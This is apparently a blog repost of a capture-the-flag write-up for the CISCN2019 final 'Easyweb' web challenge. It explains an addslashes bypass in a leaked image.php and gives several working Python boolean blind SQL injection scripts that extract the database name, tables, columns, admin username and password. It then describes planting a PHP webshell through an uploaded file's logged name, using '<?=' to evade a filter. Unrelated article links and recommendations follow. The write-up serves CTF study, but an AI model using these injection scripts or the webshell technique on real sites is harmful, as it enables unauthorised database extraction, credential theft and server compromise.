[CISCN2019 总决赛 Day2 Web1]Easyweb

考察:

  1. robots.txt

  2. image.php?bak文件泄露,image.php.bak可以下载别的不大行

  3. 盲注

  4. php日志挂马

  5. <?=可以绕过检测

初步工作

进入8fd7a79f-9b3c-4c4b-9d03-c8e1b7006a3a.node3.buuoj.cn/robots.txt

Disallow: *.php.bak

对暴露的php文件进行测试,

user.php,image.php.bak

image.php.bak存在,得到源码如下。

<?php
include "config.php"; $id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:""; $id=addslashes($id);
$path=addslashes($path); $id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path); $result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC); $path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);
?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19

分析源码

addslashes()函数,这个函数会把特殊的字符转义。

比如:单引号会被转义成\',斜杠会转义为\\.

第十行的str_replace会把"\\0","%00","\\'","'"中的任意一个替换成空。

我们可根据这个绕过当传入id=\\0时,就会在 查询语句处改变sql语句。

即:select * from images where id=' \' or path='+{$path}'

所以我们可以在path处注入我们的新语句,

由于没有查询结果回显,所以此处是盲注。

正式编写脚本

编脚本就很累了,写的水平垃圾的一,写了好久。

爆数据库名长度。

其实这一步可以不用的,就是测验自己的理论,加上学习。

import requests
url = "http://8fd7a79f-9b3c-4c4b-9d03-c8e1b7006a3a.node3.buuoj.cn/image.php?id=\\0&path=or 1=" for i in range(30):
payload = "if(length(database())=%d,1,-1)%%23" % (i)
#print(url+payload)
r = requests.get(url+payload)
if b"JFIF" in r.content :
print(i)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9

爆数据库名字

为:ciscnfinal

import requests
url = "http://8fd7a79f-9b3c-4c4b-9d03-c8e1b7006a3a.node3.buuoj.cn/image.php?id=\\0&path=or 1="
result = ""
last = "tmp" #用于判断可不可以终止
i = 0 while( result != last ):
i = i + 1
head=32
tail=127
while( head < tail ):
mid = (head + tail) >> 1
payload = "if(ascii(substr(database(),%d,1))>%d,1,-1)%%23"%(i,mid)
# print(url+payload)
r = requests.get(url+payload) if b"JFIF" in r.content :
head = mid + 1
else:
tail = mid last = result if chr(head)!=" ":
result += chr(head)
print(result)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26

爆数据表的表名

记得看一下名字里包不包括源码泄露的images表,可以作为你的脚本正确性验证。

有: images,users

import requests
url = "http://8fd7a79f-9b3c-4c4b-9d03-c8e1b7006a3a.node3.buuoj.cn/image.php?id=\\0&path=or 1="
result = ""
last="tmp"
i=0
while( last != result ): i=i+1
head=32
tail=127
while head < tail : mid = ( head + tail ) >> 1
payload = "if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database() ),%d,1))>%d,1,-1)%%23"%(i,mid)
#print(url+payload)
r = requests.get(url+payload)
if b"JFIF" in r.content :
head = mid + 1
else:
tail = mid last = result
if chr(head)!=' ' :
result += chr(head)
print(result)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26

爆数据表的列

爆列的时候注意,因为过滤了双单引号,且我们没有函数了,所以此时要把表明转成16进制

hex(“users”) = 0x7573657273

为:username,password

import requests
url = "http://3fe6495a-a056-4420-9b4a-d5d5ff38b64d.node3.buuoj.cn/image.php?id=\\0&path=or 1="
result = ""
last="tmp"
i=0
while( last != result ):
i=i+1
head=32
tail=127 while( head < tail ): mid = ( head + tail ) >> 1 payload = "if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x7573657273 ),%d,1))>%d,1,-1)%%23"%(i,mid) r = requests.get(url+payload)
if b"JFIF" in r.content :
head = mid + 1
else:
tail = mid last = result
if(chr(head)!=' '):
result += chr(head)
print(result)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27

爆username字段

admin

import requests
url = "http://3fe6495a-a056-4420-9b4a-d5d5ff38b64d.node3.buuoj.cn/image.php?id=\\0&path=or 1="
result = ""
last="tmp"
i=0
while( last != result ):
i=i+1
head=32
tail=127 while( head < tail ): mid = ( head + tail ) >> 1 payload = "if(ascii(substr((select group_concat(username) from ciscnfinal.users ),%d,1))>%d,1,-1)%%23"%(i,mid) r = requests.get(url+payload)
if b"JFIF" in r.content :
head = mid + 1
else:
tail = mid last = result
if(chr(head)!=' '):
result += chr(head)
print(result)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27

爆username字段password

import requests
import time

url = "http://e90944d1-1737-46ec-a95c-5502fffc68f6.node3.buuoj.cn/image.php/"
# payload = {
# "id":"",
# #"password":""
# }
result = ""
for i in range(1,50):
time.sleep(0.01)
l = 32
r =128
mid = (l+r)>>1
while(l<r):
payload = url+"?id=\\\\0"+"&path=or 1="+"(ascii(substr((select group_concat(password) from users),{0},1))>{1})%23".format(i,mid)
html = requests.get(url=payload)#data=payload
#print(payload)
if b'JFIF' in html.content:
l = mid+1
else:
r = mid
mid = (l+r)>>1
# if(chr(mid)==" "):
# break
result = result + chr(mid)
print(result)
print("flag: " ,result)

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27

登录

我们有了用户名和密码。

登录进去后,简单上传测试后发现,他会把文件名放到日志。

所以把木马写到文件名即可,注意过滤了php。

可以用<?=来绕过。

上传之后,getshell,去根目录把flag文件读了即可。

注意:图片数据判断存在时前+b以二进制的方式读取

sql bool盲注的更多相关文章

  1. opcourse sql布尔盲注 WP复现

    当时做这题的时候,写了脚本,用的if(mid())<>来爆破的,可能因为写脚本不擅长,写的太乱了,直接把payload写进mid里,整个一堆,然后括号对着WP看的时候,少了好几个括号,导致 ...

  2. bool盲注中用到的截取字符串的函数(mid、substr、left)

    介绍一下常用的:mid.substr.left 1.mid()函数 此函数为截取字符串一部分.MID(column_name,start[,length]) 参数 描述 column_name 必需. ...

  3. sql注入--bool盲注,时间盲注

    盲注定义: 有时目标存在注入,但在页面上没有任何回显,此时,我们需要利用一些方法进行判断或者尝试得到数据,这个过程称之为盲注. 布尔盲注: 布尔盲注只有true跟false,也就是说它根据你的注入信息 ...

  4. 关于sql注入盲注,谈谈自己的心得

    1.没做防御的站点,拿上sqlmap直接怼就行了. 2.做了防御,有的用函数过滤了,有的用了waf(比如安全狗,云锁,华为云waf,360waf,知道创宇盾,护卫神等等) 这些就相当麻烦了,首先要探测 ...

  5. SQL注入--盲注及报错注入

    盲注查询 盲注其实就是没有回显,不能直观地得到结果来调整注入数据,只能通过其他方式来得到是否注入成功,主要是利用了一些数据库内置函数来达到的 布尔盲注 布尔很明显Ture跟Fales,也就是说它只会根 ...

  6. SQL注入----盲注总结

    参考文章:https://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&mid=2247490388&idx=1&sn=c677837d7 ...

  7. sql布尔盲注和时间盲注的二分脚本

    布尔盲注: import requests url = "http://challenge-f0b629835417963e.sandbox.ctfhub.com:10080/" ...

  8. SQL注入 盲注

    来源:http://www.cnblogs.com/cheatlove/articles/384233.html SQL注入攻击: (1) 脚本注入式的攻击(2) 恶意用户输入用来影响被执行的SQL脚 ...

  9. 防sql注入 盲注等措施 ESAPI的使用

    SQL注入往往是在程序员编写包含用户输入的动态数据库查询时产生的,但其实防范SQL注入的方法非常简单.程序员只要a)不再写动态查询,或b)防止用户输入包含能够破坏查询逻辑的恶意SQL语句,就能够防范S ...

随机推荐

  1. TP3 根据时间区间搜索的方法

    /** * 时间段查询条件获取 * @param string $star 获取开始时间的字段名 * @param string $end 获取结束时间的字段名 * @param string $zd ...

  2. 如何使用 gitlab 或 github 执行npm run build

    一: 如何快速搭建一个组件库 首先,我们介绍一个快速包装组件库的工具:https://github.com/yanhaijing/jslib-base     按照文档来,就简单几步: npx @js ...

  3. Find Any File for Mac(文件搜索软件)v2.1.2b6

    Find Any File for Mac是应用在Mac上的一款文件搜索工具,Find Any File Mac可以通过名称.创建或修改日期,大小或类型和创建者代码(而不是内容)在本地磁盘上搜索文件. ...

  4. JSON小结【json-lib】

    javabean:Address package com.baebae.model; public class Address { private String city; private Strin ...

  5. IDEA安装leetcode editor插件

    leetcode > https://leetcode-cn.com/ 本地idea刷题可以直接同步提交,测试等相关操作 需要安装leetcode editor插件 1.idea setting ...

  6. 4. 树形DP

    337. 打家劫舍 III https://leetcode-cn.com/problems/house-robber-iii/ /** * Definition for a binary tree ...

  7. gcc 去除无用程序段

    嵌入式系统中,对程序尺寸要求高时,可以使用本方法 代码中,经常会有一种情况,库中并非所有函数都会用到.然而,无用的函数也最终被编译进可执行文件中了. 为避免这一情况,可以在编译时,添加选项:-ffun ...

  8. synchronized 到底该不该用?

    我是风筝,公众号「古时的风筝」,一个兼具深度与广度的程序员鼓励师,一个本打算写诗却写起了代码的田园码农! 文章会收录在 JavaNewBee 中,更有 Java 后端知识图谱,从小白到大牛要走的路都在 ...

  9. Jmeter 处理接口乱码

    第一步:添加 BeanShell Listener 第二步: 设置值 : prev.setDataEncoding("UTF-8") 第三步: 重新跑脚本,看接口返回值

  10. 使用FL Studio来制作停顿的效果

    停顿效果是一种在音乐创作中非常常用的音效,它能起到缓冲的作用,而且能使这段旋律更具节奏感,在比较激情的歌曲中尤为常见.例如知名歌手王力宏演唱的<火力全开>中就使用了停顿效果,为歌曲加了不少 ...